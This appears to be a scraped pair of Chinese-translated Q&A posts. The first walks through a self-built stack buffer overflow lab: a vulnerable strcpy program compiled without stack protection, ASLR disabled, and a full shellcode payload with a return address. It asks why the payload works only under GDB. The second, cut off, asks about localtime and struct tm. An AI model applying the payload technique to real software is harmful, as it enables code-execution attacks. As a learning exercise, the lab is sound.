我很久以前就开始讨论Stack位于Buffer Overflows,但我决定建立一个虚拟机并实际看到它们.
以下代码是易受攻击的程序:
#include<string.h>
void go(char *data){
char name[64];
strcpy(name, data);
}
int main(int argc, char **argv){
go(argv[1]);
}
Run Code Online (Sandbox Code Playgroud)
它是使用GCC上的-zexecstack和-fno-stack-protector选项编译的,它们都允许堆栈中的代码可执行,并禁用程序内置的Stack Overflow保护("canary"值).
gcc vuln.c -o vuln -zexecstack -fno-stack-protector -g
然后,我使用GDB找出name堆栈上的内存位置,并找到以下地址:0x7fffffffdc10
由于我的VM有最新的linux版本,我不得不通过运行:sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"或禁用ASLR(地址空间布局随机化)
sudo sysctl -w kernel.randomize_va_space=0.
该的shellcode是从文章中,我在网上找到有关堆栈溢出,并通过一个Perl脚本加入到该计划采取:
perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'
Run Code Online (Sandbox Code Playgroud)
作为shellcode(假设在屏幕上写"Hax!")的前45个字节,一些额外的27个"A"字节使指针位于正确的位置,最后是小端的有效负载的起始地址.
问题是:
在GDB上运行程序时,通过:
gdb vuln
>run `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`
Run Code Online (Sandbox Code Playgroud)
我可以运行shellcode和"Hax!" 输出.
当试图在GDB之外运行程序时
./vuln `perl -e 'print …Run Code Online (Sandbox Code Playgroud) 我正在研究 C 时间库的例程,因为我需要一种方法来跟踪程序日志文件的时间。我发现做到这一点的方法是拥有一个time_t对象,它只保存自 1970 年 1 月 1 日 00:00 UTC 以来的秒数。然后,我将此time_t对象解析为localtime(time_t* argument)例程,该例程将返回指向结构的指针tm。后者将以更复杂的结构保存时间,以秒为单位转换自 1970 年 1 月 1 日以来的年、月、日、小时等时间。该tm结构指针最终可用于asctime(strcut tm* argument)返回人类友好的时间日志(即 2016 年 9 月 7 日星期三 13:45:23)。
我的问题是关于struct tm对象的。正如我们在Cplusplus的示例代码中看到的,struct tm从未声明对象,而只是声明一个指针。这意味着这个对象是在其他地方声明的,而我们只是访问它。参考链接本身指出:
"The function also accesses and modifies a shared internal object,
which may introduce data races on concurrent calls to gmtime and
localtime. Some libraries provide an alternative function that avoids
this …Run Code Online (Sandbox Code Playgroud)